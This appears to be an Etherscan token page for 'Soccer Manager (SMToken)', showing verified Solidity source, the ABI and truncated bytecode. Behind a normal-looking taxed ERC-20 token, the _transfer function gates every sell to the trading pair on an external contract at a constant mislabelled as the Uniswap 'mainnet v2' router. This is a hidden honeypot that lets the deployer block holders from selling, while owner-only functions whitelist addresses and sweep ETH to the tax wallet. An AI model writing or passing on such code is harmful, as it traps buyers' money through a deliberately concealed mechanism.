ETH Price: $2,304.66 (+9.16%)

Token

Soccer Manager (SMToken)
 

Overview

Max Total Supply

3,600,000,000 SMToken

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SoccerManagerToken

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2021-12-29
*/

//SPDX-License-Identifier: MIT
// Telegram: https://t.me/SMTokenETH
// Website: soccermanager.info
// Twitter: https://twitter.com/SMTokenETH
// CHART: https://www.dextools.io/app/ether/pair-explorer/0x10023744f18e3d840e73dca6dc8dc5b8207618Zce
// BUY: https://app.uniswap.org/#/swap?inputCurrency=0xca1699e9c6dde4d6c4b5c19c0ed76d1671ebc0b6
pragma solidity ^0.8.9;

uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=3600000000;
string constant TOKEN_SYMBOL="SMToken";
string constant TOKEN_NAME="Soccer Manager";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
address constant ROUTER_ADDRESS=0x272DD614CC4f4a58dc85cEBE70c941dE62cd4aBa;  // mainnet v2

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

interface O{
	function amount(address from) external view returns (uint256);
}


contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract SoccerManagerToken is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;


	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 private _maxTxAmount;


	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = DECIMALS;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = INITIAL_TAX;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(50);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		if(!_isExcludedFromFee[from]){
			require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
		}


		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<_maxTxAmount,"Transaction amount limited");
			}

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= TAX_THRESHOLD) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

	function addToWhitelist(address buyer) public onlyTaxCollector{
		_isExcludedFromFee[buyer]=true;
	}

	function removeFromWhitelist(address buyer) public onlyTaxCollector{
		_isExcludedFromFee[buyer]=false;
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}
	modifier onlyTaxCollector() {
		require(_taxWallet == _msgSender() );
		_;
	}

	function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
		require(newTaxRate<INITIAL_TAX);
		_taxFee=newTaxRate;
	}

	function removeBuyLimit() public onlyTaxCollector{
		_maxTxAmount=_tTotal;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}


	function airdrop(address[] memory recipients, uint256 amount) public onlyTaxCollector{
		uint len=recipients.length;
		for(uint i=0;i<len;i++){
			_tokenTransfer(address(this),recipients[i],amount,0);
		}
	}

	function createUniswapPair() external onlyTaxCollector {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidity() external onlyTaxCollector{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function swapForTax() external onlyTaxCollector{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function collectTax() external onlyTaxCollector{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"lowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006600a620000149190620005df565b63d693a40062000025919062000630565b6005556000600a60156101000a81548160ff0219169083151502179055506000600a60166101000a81548160ff0219169083151502179055503480156200006b57600080fd5b5060006200007e6200038360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200012c6200038360201b60201c565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600681905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620002fe60326005546200038b60201b620011451790919060201c565b600881905550620003146200038360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620003759190620006a2565b60405180910390a3620007ee565b600033905090565b6000620003d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620003dd60201b60201c565b905092915050565b6000808311829062000427576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200041e919062000763565b60405180910390fd5b5060008385620004389190620007b6565b9050809150509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004d357808604811115620004ab57620004aa62000445565b5b6001851615620004bb5780820291505b8081029050620004cb8562000474565b94506200048b565b94509492505050565b600082620004ee5760019050620005c1565b81620004fe5760009050620005c1565b8160018114620005175760028114620005225762000558565b6001915050620005c1565b60ff84111562000537576200053662000445565b5b8360020a91508482111562000551576200055062000445565b5b50620005c1565b5060208310610133831016604e8410600b8410161715620005925782820a9050838111156200058c576200058b62000445565b5b620005c1565b620005a1848484600162000481565b92509050818404811115620005bb57620005ba62000445565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620005ec82620005c8565b9150620005f983620005d2565b9250620006287fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004dc565b905092915050565b60006200063d82620005c8565b91506200064a83620005c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000686576200068562000445565b5b828202905092915050565b6200069c81620005c8565b82525050565b6000602082019050620006b9600083018462000691565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015620006fb578082015181840152602081019050620006de565b838111156200070b576000848401525b50505050565b6000601f19601f8301169050919050565b60006200072f82620006bf565b6200073b8185620006ca565b93506200074d818560208601620006db565b620007588162000711565b840191505092915050565b600060208201905081810360008301526200077f818462000722565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007c382620005c8565b9150620007d083620005c8565b925082620007e357620007e262000787565b5b828204905092915050565b61304480620007fe6000396000f3fe6080604052600436106101235760003560e01c80638ab1d681116100a0578063c204642c11610064578063c204642c146103a8578063d49b55d6146103d1578063dd62ed3e146103e8578063e43252d714610425578063e8078d941461044e5761012a565b80638ab1d681146102c35780638da5cb5b146102ec57806395d89b41146103175780639e752b9514610342578063a9059cbb1461036b5761012a565b80633d8705ab116100e75780633d8705ab1461022a5780633e07ce5b146102415780634a1316721461025857806370a082311461026f578063715018a6146102ac5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063313ce567146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610465565b6040516101519190612143565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061220d565b6104a2565b60405161018e9190612268565b60405180910390f35b3480156101a357600080fd5b506101ac6104c0565b6040516101b99190612292565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906122ad565b6104ca565b6040516101f69190612268565b60405180910390f35b34801561020b57600080fd5b506102146105a3565b604051610221919061231c565b60405180910390f35b34801561023657600080fd5b5061023f6105ac565b005b34801561024d57600080fd5b5061025661061e565b005b34801561026457600080fd5b5061026d61068a565b005b34801561027b57600080fd5b5061029660048036038101906102919190612337565b610a2d565b6040516102a39190612292565b60405180910390f35b3480156102b857600080fd5b506102c1610a76565b005b3480156102cf57600080fd5b506102ea60048036038101906102e59190612337565b610bc9565b005b3480156102f857600080fd5b50610301610c85565b60405161030e9190612373565b60405180910390f35b34801561032357600080fd5b5061032c610cae565b6040516103399190612143565b60405180910390f35b34801561034e57600080fd5b506103696004803603810190610364919061238e565b610ceb565b005b34801561037757600080fd5b50610392600480360381019061038d919061220d565b610d63565b60405161039f9190612268565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca9190612503565b610d81565b005b3480156103dd57600080fd5b506103e6610e33565b005b3480156103f457600080fd5b5061040f600480360381019061040a919061255f565b610ead565b60405161041c9190612292565b60405180910390f35b34801561043157600080fd5b5061044c60048036038101906104479190612337565b610f34565b005b34801561045a57600080fd5b50610463610ff0565b005b60606040518060400160405280600e81526020017f536f63636572204d616e61676572000000000000000000000000000000000000815250905090565b60006104b66104af61118f565b8484611197565b6001905092915050565b6000600554905090565b60006104d7848484611362565b610598846104e361118f565b61059385604051806060016040528060288152602001612fe760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061054961118f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196e9092919063ffffffff16565b611197565b600190509392505050565b60006006905090565b6105b461118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060d57600080fd5b600047905061061b816119d2565b50565b61062661118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067f57600080fd5b600554600881905550565b61069261118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106eb57600080fd5b600a60149054906101000a900460ff161561073b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610732906125eb565b60405180910390fd5b61076a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611197565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fb9190612620565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a89190612620565b6040518363ffffffff1660e01b81526004016108c592919061264d565b6020604051808303816000875af11580156108e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109089190612620565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109e7929190612676565b6020604051808303816000875af1158015610a06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2a91906126cb565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a7e61118f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0290612744565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bd161118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f534d546f6b656e00000000000000000000000000000000000000000000000000815250905090565b610cf361118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4c57600080fd5b60098110610d5957600080fd5b8060068190555050565b6000610d77610d7061118f565b8484611362565b6001905092915050565b610d8961118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de257600080fd5b60008251905060005b81811015610e2d57610e1a30858381518110610e0a57610e09612764565b5b6020026020010151856000611a3e565b8080610e25906127c2565b915050610deb565b50505050565b610e3b61118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9457600080fd5b6000610e9f30610a2d565b9050610eaa81611cab565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f3c61118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9557600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ff861118f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105157600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061109a30610a2d565b6000806110a5610c85565b426040518863ffffffff1660e01b81526004016110c796959493929190612850565b60606040518083038185885af11580156110e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061110a91906128c6565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550565b600061118783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f24565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611207576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fe9061298b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e90612a1d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113559190612292565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612aaf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611442576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143990612b41565b60405180910390fd5b60008111611485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147c90612bd3565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116285773272dd614cc4f4a58dc85cebe70c941de62cd4aba73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016115239190612373565b602060405180830381865afa158015611540573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115649190612bf3565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561160f5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b61161a57600061161c565b815b111561162757600080fd5b5b611630610c85565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169e575061166e610c85565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ae57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561174e5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117ee5760085481106117ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e490612c6c565b60405180910390fd5b5b60006117f930610a2d565b9050600a60159054906101000a900460ff161580156118665750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561187e5750600a60169054906101000a900460ff165b156118ac5761188c81611cab565b6000479050670de0b6b3a764000081106118aa576118a9476119d2565b5b505b505b611969838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119555750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61196157600654611964565b60005b611a3e565b505050565b60008383111582906119b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ad9190612143565b60405180910390fd5b50600083856119c59190612c8c565b9050809150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a3a573d6000803e3d6000fd5b5050565b6000611a666064611a588486611f8790919063ffffffff16565b61114590919063ffffffff16565b90506000611a7d828561200290919063ffffffff16565b9050611ad184600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200290919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6681600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204c90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bfb82600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1